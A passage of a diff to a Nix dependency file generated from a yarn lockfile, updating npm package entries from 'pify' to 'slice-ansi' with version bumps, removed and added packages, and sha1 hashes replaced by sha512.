         url = "https://registry.yarnpkg.com/pify/-/pify-2.3.0.tgz";
-        sha1 = "7RQaasBDqEnqWISY59yosVMw6Qw=";
+        sha512 = "udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==";
       };
     }
     {
@@ -2821,7 +3269,7 @@ rec {
       path = fetchurl {
         name = "pify___pify_3.0.0.tgz";
         url = "https://registry.yarnpkg.com/pify/-/pify-3.0.0.tgz";
-        sha1 = "5aSs0sEB/fPZpNB/DbxNtJ3SgXY=";
+        sha512 = "C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==";
       };
     }
     {
@@ -2829,7 +3277,7 @@ rec {
       path = fetchurl {
         name = "pinkie_promise___pinkie_promise_2.0.1.tgz";
         url = "https://registry.yarnpkg.com/pinkie-promise/-/pinkie-promise-2.0.1.tgz";
-        sha1 = "ITXW36ejWMBprJsXh3YogihFD/o=";
+        sha512 = "0Gni6D4UcLTbv9c57DfxDGdr41XfgUjqWZu492f0cIGr16zDU06BWP/RAEvOuo7CQ0CNjHaLlM59YJJFm3NWlw==";
       };
     }
     {
@@ -2837,15 +3285,7 @@ rec {
       path = fetchurl {
         name = "pinkie___pinkie_2.0.4.tgz";
         url = "https://registry.yarnpkg.com/pinkie/-/pinkie-2.0.4.tgz";
-        sha1 = "clVrgM+g1IqXToDnckjoDtT3+HA=";
-      };
-    }
-    {
-      name = "pkg_dir___pkg_dir_2.0.0.tgz";
-      path = fetchurl {
-        name = "pkg_dir___pkg_dir_2.0.0.tgz";
-        url = "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-2.0.0.tgz";
-        sha1 = "9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=";
+        sha512 = "MnUuEycAemtSaeFSjXKW/aroV7akBbY+Sv+RkyqFjgAe73F+MR0TBWKBRDkmfWq/HiFmdavfZ1G7h4SPZXaCSg==";
       };
     }
     {
@@ -2877,7 +3317,15 @@ rec {
       path = fetchurl {
         name = "posix_character_classes___posix_character_classes_0.1.1.tgz";
         url = "https://registry.yarnpkg.com/posix-character-classes/-/posix-character-classes-0.1.1.tgz";
-        sha1 = "AerA/jta9xoqbAL+q7jB/vfgDqs=";
+        sha512 = "xTgYBc3fuo7Yt7JbiuFxSYGToMoz8fLoE6TC9Wx1P/u+LfeThMOAqmuyECnlBaaJb+u1m9hHiXUEtwW4OzfUJg==";
+      };
+    }
+    {
+      name = "possible_typed_array_names___possible_typed_array_names_1.1.0.tgz";
+      path = fetchurl {
+        name = "possible_typed_array_names___possible_typed_array_names_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz";
+        sha512 = "/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==";
       };
     }
     {
@@ -2885,7 +3333,7 @@ rec {
       path = fetchurl {
         name = "prelude_ls___prelude_ls_1.1.2.tgz";
         url = "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.1.2.tgz";
-        sha1 = "IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=";
+        sha512 = "ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==";
       };
     }
     {
@@ -2937,11 +3385,11 @@ rec {
       };
     }
     {
-      name = "prop_types___prop_types_15.7.2.tgz";
+      name = "prop_types___prop_types_15.8.1.tgz";
       path = fetchurl {
-        name = "prop_types___prop_types_15.7.2.tgz";
-        url = "https://registry.yarnpkg.com/prop-types/-/prop-types-15.7.2.tgz";
-        sha512 = "8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==";
+        name = "prop_types___prop_types_15.8.1.tgz";
+        url = "https://registry.yarnpkg.com/prop-types/-/prop-types-15.8.1.tgz";
+        sha512 = "oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==";
       };
     }
     {
@@ -2957,23 +3405,23 @@ rec {
       path = fetchurl {
         name = "pseudomap___pseudomap_1.0.2.tgz";
         url = "https://registry.yarnpkg.com/pseudomap/-/pseudomap-1.0.2.tgz";
-        sha1 = "8FKijacOYYkX7wqKw0wa5aaChrM=";
+        sha512 = "b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ==";
       };
     }
     {
-      name = "pump___pump_3.0.0.tgz";
+      name = "pump___pump_3.0.3.tgz";
       path = fetchurl {
-        name = "pump___pump_3.0.0.tgz";
-        url = "https://registry.yarnpkg.com/pump/-/pump-3.0.0.tgz";
-        sha512 = "LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==";
+        name = "pump___pump_3.0.3.tgz";
+        url = "https://registry.yarnpkg.com/pump/-/pump-3.0.3.tgz";
+        sha512 = "todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==";
       };
     }
     {
-      name = "punycode___punycode_2.1.1.tgz";
+      name = "punycode___punycode_2.3.1.tgz";
       path = fetchurl {
-        name = "punycode___punycode_2.1.1.tgz";
-        url = "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz";
-        sha512 = "XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==";
+        name = "punycode___punycode_2.3.1.tgz";
+        url = "https://registry.yarnpkg.com/punycode/-/punycode-2.3.1.tgz";
+        sha512 = "vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==";
       };
     }
     {
@@ -2981,7 +3429,7 @@ rec {
       path = fetchurl {
         name = "quick_lru___quick_lru_1.1.0.tgz";
         url = "https://registry.yarnpkg.com/quick-lru/-/quick-lru-1.1.0.tgz";
-        sha1 = "Q2CxfGETatOAeDl/8RQW4Ybc+7g=";
+        sha512 = "tRS7sTgyxMXtLum8L65daJnHUhfDUgboRdcWW2bR9vBfrj2+O5HSMbQOJfJJjIVSPFqbBCF37FpwWXGitDc5tA==";
       };
     }
     {
@@ -3000,36 +3448,28 @@ rec {
         sha512 = "24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==";
       };
     }
-    {
-      name = "read_pkg_up___read_pkg_up_2.0.0.tgz";
-      path = fetchurl {
-        name = "read_pkg_up___read_pkg_up_2.0.0.tgz";
-        url = "https://registry.yarnpkg.com/read-pkg-up/-/read-pkg-up-2.0.0.tgz";
-        sha1 = "a3KoBImE4MQeeVEP1en6mbO1Sb4=";
-      };
-    }
-    {
-      name = "read_pkg___read_pkg_2.0.0.tgz";
-      path = fetchurl {
-        name = "read_pkg___read_pkg_2.0.0.tgz";
-        url = "https://registry.yarnpkg.com/read-pkg/-/read-pkg-2.0.0.tgz";
-        sha1 = "jvHAYjxqbbDcZxPEv6xGMysjaPg=";
-      };
-    }
     {
       name = "read_pkg___read_pkg_4.0.1.tgz";
       path = fetchurl {
         name = "read_pkg___read_pkg_4.0.1.tgz";
         url = "https://registry.yarnpkg.com/read-pkg/-/read-pkg-4.0.1.tgz";
-        sha1 = "ljYlN48+HE1IyFhytabsfV0JMjc=";
+        sha512 = "+UBirHHDm5J+3WDmLBZYSklRYg82nMlz+enn+GMZ22nSR2f4bzxmhso6rzQW/3mT2PVzpzDTiYIZahk8UmZ44w==";
       };
     }
     {
-      name = "readable_stream___readable_stream_2.3.7.tgz";
+      name = "readable_stream___readable_stream_2.3.8.tgz";
       path = fetchurl {
-        name = "readable_stream___readable_stream_2.3.7.tgz";
-        url = "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz";
-        sha512 = "Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==";
+        name = "readable_stream___readable_stream_2.3.8.tgz";
+        url = "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.8.tgz";
+        sha512 = "8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==";
+      };
+    }
+    {
+      name = "reflect.getprototypeof___reflect.getprototypeof_1.0.10.tgz";
+      path = fetchurl {
+        name = "reflect.getprototypeof___reflect.getprototypeof_1.0.10.tgz";
+        url = "https://registry.yarnpkg.com/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz";
+        sha512 = "00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==";
       };
     }
     {
@@ -3040,14 +3480,6 @@ rec {
         sha512 = "MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==";
       };
     }
-    {
-      name = "regenerator_runtime___regenerator_runtime_0.13.5.tgz";
-      path = fetchurl {
-        name = "regenerator_runtime___regenerator_runtime_0.13.5.tgz";
-        url = "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz";
-        sha512 = "ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==";
-      };
-    }
     {
       name = "regex_not___regex_not_1.0.2.tgz";
       path = fetchurl {
@@ -3057,11 +3489,11 @@ rec {
       };
     }
     {
-      name = "regexp.prototype.flags___regexp.prototype.flags_1.3.0.tgz";
+      name = "regexp.prototype.flags___regexp.prototype.flags_1.5.4.tgz";
       path = fetchurl {
-        name = "regexp.prototype.flags___regexp.prototype.flags_1.3.0.tgz";
-        url = "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.3.0.tgz";
-        sha512 = "2+Q0C5g951OlYlJz6yu5/M33IcsESLlLfsyIaLJaG4FA2r4yP8MvVMJUUP/fVBkSpbbbZlS5gynbEWLipiiXiQ==";
+        name = "regexp.prototype.flags___regexp.prototype.flags_1.5.4.tgz";
+        url = "https://registry.yarnpkg.com/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz";
+        sha512 = "dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==";
       };
     }
     {
@@ -3081,11 +3513,11 @@ rec {
       };
     }
     {
-      name = "repeat_element___repeat_element_1.1.3.tgz";
+      name = "repeat_element___repeat_element_1.1.4.tgz";
       path = fetchurl {
-        name = "repeat_element___repeat_element_1.1.3.tgz";
-        url = "https://registry.yarnpkg.com/repeat-element/-/repeat-element-1.1.3.tgz";
-        sha512 = "ahGq0ZnV5m5XtZLMb+vP76kcAM5nkLqk0lpqAuojSKGgQtn4eRi4ZZGm2olo2zKFH+sMsWaqOCW1dqAnOru72g==";
+        name = "repeat_element___repeat_element_1.1.4.tgz";
+        url = "https://registry.yarnpkg.com/repeat-element/-/repeat-element-1.1.4.tgz";
+        sha512 = "LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==";
       };
     }
     {
@@ -3093,7 +3525,7 @@ rec {
       path = fetchurl {
         name = "repeat_string___repeat_string_1.6.1.tgz";
         url = "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz";
-        sha1 = "jcrkcOHIirwtYA//Sndihtp15jc=";
+        sha512 = "PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==";
       };
     }
     {
@@ -3101,7 +3533,7 @@ rec {
       path = fetchurl {
         name = "require_directory___require_directory_2.1.1.tgz";
         url = "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz";
-        sha1 = "jGStX9MNqxyXbiNE/+f3kqam30I=";
+        sha512 = "fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==";
       };
     }
     {
@@ -3109,7 +3541,7 @@ rec {
       path = fetchurl {
         name = "require_main_filename___require_main_filename_1.0.1.tgz";
         url = "https://registry.yarnpkg.com/require-main-filename/-/require-main-filename-1.0.1.tgz";
-        sha1 = "l/cXtp1IeE9fUmpsWqj/3aBVpNE=";
+        sha512 = "IqSUtOVP4ksd1C/ej5zeEh/BIP2ajqpn8c5x+q99gvcIG/Qf0cud5raVnE/Dwd0ua9TXYDoDc0RE5hBSdz22Ug==";
       };
     }
     {
@@ -3117,7 +3549,7 @@ rec {
       path = fetchurl {
         name = "require_relative___require_relative_0.8.7.tgz";
         url = "https://registry.yarnpkg.com/require-relative/-/require-relative-0.8.7.tgz";
-        sha1 = "eZlTn8ngR6N5KPoZb44VY9q9Nt4=";
+        sha512 = "AKGr4qvHiryxRb19m3PsLRGuKVAbJLUD7E6eOaHkfKhwc+vSgVOCY5xNvm9EkolBKTOf0GrQAZKLimOCz81Khg==";
       };
     }
     {
@@ -3125,7 +3557,7 @@ rec {
       path = fetchurl {
         name = "require_uncached___require_uncached_1.0.3.tgz";
         url = "https://registry.yarnpkg.com/require-uncached/-/require-uncached-1.0.3.tgz";
-        sha1 = "Tg1W1slmL9MeQwEcS5WqSZVUIdM=";
+        sha512 = "Xct+41K3twrbBHdxAgMoOS+cNcoqIjfM2/VxBF4LL2hVph7YsF8VSKyQ3BDFZwEVbok9yeDl2le/qo0S77WG2w==";
       };
     }
     {
@@ -3133,7 +3565,7 @@ rec {
       path = fetchurl {
         name = "reserved_words___reserved_words_0.1.2.tgz";
         url = "https://registry.yarnpkg.com/reserved-words/-/reserved-words-0.1.2.tgz";
-        sha1 = "AKCUD5jNUBrqqsMWQR2a3FKzGrE=";
+        sha512 = "0S5SrIUJ9LfpbVl4Yzij6VipUdafHrOTzvmfazSw/jeZrZtQK303OPZW+obtkaw7jQlTQppy0UvZWm9872PbRw==";
       };
     }
     {
@@ -3141,7 +3573,7 @@ rec {
       path = fetchurl {
         name = "resolve_from___resolve_from_1.0.1.tgz";
         url = "https://registry.yarnpkg.com/resolve-from/-/resolve-from-1.0.1.tgz";
-        sha1 = "Jsv+k10a7uq7Kbw/5a6wHpPUQiY=";
+        sha512 = "kT10v4dhrlLNcnO084hEjvXCI1wUG9qZLoz2RogxqDQQYy7IxjI/iMUkOtQTNEh6rzHxvdQWHsJyel1pKOVCxg==";
       };
     }
     {
@@ -3149,7 +3581,7 @@ rec {
       path = fetchurl {
         name = "resolve_from___resolve_from_3.0.0.tgz";
         url = "https://registry.yarnpkg.com/resolve-from/-/resolve-from-3.0.0.tgz";
-        sha1 = "six699nWiBvItuZTM17rywoYh0g=";
+        sha512 = "GnlH6vxLymXJNMBo7XP1fJIzBFbdYt49CuTwmB/6N53t+kMPRMFKz783LlQ4tv28XoQfMWinAJX6WCGf2IlaIw==";
       };
     }
     {
@@ -3165,15 +3597,23 @@ rec {
       path = fetchurl {
         name = "resolve_url___resolve_url_0.2.1.tgz";
         url = "https://registry.yarnpkg.com/resolve-url/-/resolve-url-0.2.1.tgz";
-        sha1 = "LGN/53yJOv0qZj/iGqkIAGjiBSo=";
+        sha512 = "ZuF55hVUQaaczgOIwqWzkEcEidmlD/xl44x1UZnhOXcYuFN2S6+rcxpG+C1N3So0wvNI3DmJICUFfu2SxhBmvg==";
       };
     }
     {
-      name = "resolve___resolve_1.17.0.tgz";
+      name = "resolve___resolve_1.22.10.tgz";
       path = fetchurl {
-        name = "resolve___resolve_1.17.0.tgz";
-        url = "https://registry.yarnpkg.com/resolve/-/resolve-1.17.0.tgz";
-        sha512 = "ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w==";
+        name = "resolve___resolve_1.22.10.tgz";
+        url = "https://registry.yarnpkg.com/resolve/-/resolve-1.22.10.tgz";
+        sha512 = "NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==";
+      };
+    }
+    {
+      name = "resolve___resolve_2.0.0_next.5.tgz";
+      path = fetchurl {
+        name = "resolve___resolve_2.0.0_next.5.tgz";
+        url = "https://registry.yarnpkg.com/resolve/-/resolve-2.0.0-next.5.tgz";
+        sha512 = "U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==";
       };
     }
     {
@@ -3181,7 +3621,7 @@ rec {
       path = fetchurl {
         name = "restore_cursor___restore_cursor_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/restore-cursor/-/restore-cursor-2.0.0.tgz";
-        sha1 = "n37ih/gv0ybU/RYpI9YhKe7g368=";
+        sha512 = "6IzJLuGi4+R14vwagDHX+JrXmPVtPpn4mffDJ1UdR7/Edm87fl6yi8mMBIVvFtJaNTUvjughmW4hwLhRG7gC1Q==";
       };
     }
     {
@@ -3229,7 +3669,7 @@ rec {
       path = fetchurl {
         name = "rx_lite_aggregates___rx_lite_aggregates_4.0.8.tgz";
         url = "https://registry.yarnpkg.com/rx-lite-aggregates/-/rx-lite-aggregates-4.0.8.tgz";
-        sha1 = "dTuHqJoRyVRnxKwWJsTvxOBcZ74=";
+        sha512 = "3xPNZGW93oCjiO7PtKxRK6iOVYBWBvtf9QHDfU23Oc+dLIQmAV//UnyXV/yihv81VS/UqoQPk4NegS8EFi55Hg==";
       };
     }
     {
@@ -3237,7 +3677,7 @@ rec {
       path = fetchurl {
         name = "rx_lite___rx_lite_4.0.8.tgz";
         url = "https://registry.yarnpkg.com/rx-lite/-/rx-lite-4.0.8.tgz";
-        sha1 = "Cx4Rr4vESDbwSmQH6S2kJGe3lEQ=";
+        sha512 = "Cun9QucwK6MIrp3mry/Y7hqD1oFqTYLQ4pGxaHTjIdaFDWRGGLikqp6u8LcWJnzpoALg9hap+JGk8sFIUuEGNA==";
       };
     }
     {
@@ -3249,11 +3689,19 @@ rec {
       };
     }
     {
-      name = "rxjs___rxjs_6.5.5.tgz";
+      name = "rxjs___rxjs_6.6.7.tgz";
       path = fetchurl {
-        name = "rxjs___rxjs_6.5.5.tgz";
-        url = "https://registry.yarnpkg.com/rxjs/-/rxjs-6.5.5.tgz";
-        sha512 = "WfQI+1gohdf0Dai/Bbmk5L5ItH5tYqm3ki2c5GdWhKjalzjg93N3avFjVStyZZz+A2Em+ZxKH5bNghw9UeylGQ==";
+        name = "rxjs___rxjs_6.6.7.tgz";
+        url = "https://registry.yarnpkg.com/rxjs/-/rxjs-6.6.7.tgz";
+        sha512 = "hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==";
+      };
+    }
+    {
+      name = "safe_array_concat___safe_array_concat_1.1.3.tgz";
+      path = fetchurl {
+        name = "safe_array_concat___safe_array_concat_1.1.3.tgz";
+        url = "https://registry.yarnpkg.com/safe-array-concat/-/safe-array-concat-1.1.3.tgz";
+        sha512 = "AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==";
       };
     }
     {
@@ -3264,12 +3712,28 @@ rec {
         sha512 = "Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==";
       };
     }
+    {
+      name = "safe_push_apply___safe_push_apply_1.0.0.tgz";
+      path = fetchurl {
+        name = "safe_push_apply___safe_push_apply_1.0.0.tgz";
+        url = "https://registry.yarnpkg.com/safe-push-apply/-/safe-push-apply-1.0.0.tgz";
+        sha512 = "iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==";
+      };
+    }
+    {
+      name = "safe_regex_test___safe_regex_test_1.1.0.tgz";
+      path = fetchurl {
+        name = "safe_regex_test___safe_regex_test_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/safe-regex-test/-/safe-regex-test-1.1.0.tgz";
+        sha512 = "x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==";
+      };
+    }
     {
       name = "safe_regex___safe_regex_1.1.0.tgz";
       path = fetchurl {
         name = "safe_regex___safe_regex_1.1.0.tgz";
         url = "https://registry.yarnpkg.com/safe-regex/-/safe-regex-1.1.0.tgz";
-        sha1 = "QKNmnzsHfR6UPURinhV91IAjvy4=";
+        sha512 = "aJXcif4xnaNUzvUuC5gcb46oTS7zvg4jpMTnuqtrEPlR3vFr4pxtdTwaF1Qs3Enjn9HK+ZlwQui+a7z0SywIzg==";
       };
     }
     {
@@ -3285,15 +3749,15 @@ rec {
       path = fetchurl {
         name = "semver_compare___semver_compare_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/semver-compare/-/semver-compare-1.0.0.tgz";
-        sha1 = "De4hahyUGrN+nvsXiPavxf9VN/w=";
+        sha512 = "YM3/ITh2MJ5MtzaM429anh+x2jiLVjqILF4m4oyQB18W7Ggea7BfqdH/wGMK7dDiMghv/6WG7znWMwUDzJiXow==";
       };
     }
     {
-      name = "semver___semver_5.7.1.tgz";
+      name = "semver___semver_5.7.2.tgz";
       path = fetchurl {
-        name = "semver___semver_5.7.1.tgz";
-        url = "https://registry.yarnpkg.com/semver/-/semver-5.7.1.tgz";
-        sha512 = "sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==";
+        name = "semver___semver_5.7.2.tgz";
+        url = "https://registry.yarnpkg.com/semver/-/semver-5.7.2.tgz";
+        sha512 = "cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==";
       };
     }
     {
@@ -3304,12 +3768,44 @@ rec {
         sha512 = "4SJ3dm0WAwWy/NVeioZh5AntkdJoWKxHxcmyP622fOkgHa4z3R0TdBJICINyaSDE6uNwVc8gZr+ZinwZAH4xIA==";
       };
     }
+    {
+      name = "semver___semver_6.3.1.tgz";
+      path = fetchurl {
+        name = "semver___semver_6.3.1.tgz";
+        url = "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz";
+        sha512 = "BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==";
+      };
+    }
     {
       name = "set_blocking___set_blocking_2.0.0.tgz";
       path = fetchurl {
         name = "set_blocking___set_blocking_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz";
-        sha1 = "BF+XgtARrppoA93TgrJDkrPYkPc=";
+        sha512 = "KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==";
+      };
+    }
+    {
+      name = "set_function_length___set_function_length_1.2.2.tgz";
+      path = fetchurl {
+        name = "set_function_length___set_function_length_1.2.2.tgz";
+        url = "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.2.tgz";
+        sha512 = "pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==";
+      };
+    }
+    {
+      name = "set_function_name___set_function_name_2.0.2.tgz";
+      path = fetchurl {
+        name = "set_function_name___set_function_name_2.0.2.tgz";
+        url = "https://registry.yarnpkg.com/set-function-name/-/set-function-name-2.0.2.tgz";
+        sha512 = "7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==";
+      };
+    }
+    {
+      name = "set_proto___set_proto_1.0.0.tgz";
+      path = fetchurl {
+        name = "set_proto___set_proto_1.0.0.tgz";
+        url = "https://registry.yarnpkg.com/set-proto/-/set-proto-1.0.0.tgz";
+        sha512 = "RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==";
       };
     }
     {
@@ -3325,7 +3821,7 @@ rec {
       path = fetchurl {
         name = "shebang_command___shebang_command_1.2.0.tgz";
         url = "https://registry.yarnpkg.com/shebang-command/-/shebang-command-1.2.0.tgz";
-        sha1 = "RKrGW2lbAzmJaMOfNj/uXer98eo=";
+        sha512 = "EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==";
       };
     }
     {
@@ -3333,23 +3829,47 @@ rec {
       path = fetchurl {
         name = "shebang_regex___shebang_regex_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-1.0.0.tgz";
-        sha1 = "2kL0l0DAtC2yypcoVxyxkMmO/qM=";
+        sha512 = "wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==";
       };
     }
     {
-      name = "side_channel___side_channel_1.0.2.tgz";
+      name = "side_channel_list___side_channel_list_1.0.0.tgz";
       path = fetchurl {
-        name = "side_channel___side_channel_1.0.2.tgz";
-        url = "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.2.tgz";
-        sha512 = "7rL9YlPHg7Ancea1S96Pa8/QWb4BtXL/TZvS6B8XFetGBeuhAsfmUspK6DokBeZ64+Kj9TCNRD/30pVz1BvQNA==";
+        name = "side_channel_list___side_channel_list_1.0.0.tgz";
+        url = "https://registry.yarnpkg.com/side-channel-list/-/side-channel-list-1.0.0.tgz";
+        sha512 = "FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==";
       };
     }
     {
-      name = "signal_exit___signal_exit_3.0.3.tgz";
+      name = "side_channel_map___side_channel_map_1.0.1.tgz";
       path = fetchurl {
-        name = "signal_exit___signal_exit_3.0.3.tgz";
-        url = "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.3.tgz";
-        sha512 = "VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==";
+        name = "side_channel_map___side_channel_map_1.0.1.tgz";
+        url = "https://registry.yarnpkg.com/side-channel-map/-/side-channel-map-1.0.1.tgz";
+        sha512 = "VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==";
+      };
+    }
+    {
+      name = "side_channel_weakmap___side_channel_weakmap_1.0.2.tgz";
+      path = fetchurl {
+        name = "side_channel_weakmap___side_channel_weakmap_1.0.2.tgz";
+        url = "https://registry.yarnpkg.com/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz";
+        sha512 = "WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==";
+      };
+    }
+    {
+      name = "side_channel___side_channel_1.1.0.tgz";
+      path = fetchurl {
+        name = "side_channel___side_channel_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/side-channel/-/side-channel-1.1.0.tgz";
+        sha512 = "ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==";
+      };
+    }
+    {
+      name = "signal_exit___signal_exit_3.0.7.tgz";
+      path = fetchurl {
+        name = "signal_exit___signal_exit_3.0.7.tgz";
+        url = "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.7.tgz";
+        sha512 = "wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==";
       };
     }
     {
@@ -3373,7 +3893,7 @@ rec {
       path = fetchurl {
         name = "slice_ansi___slice_ansi_0.0.4.tgz";
         url = "https://registry.yarnpkg.com/slice-ansi/-/slice-ansi-0.0.4.tgz";
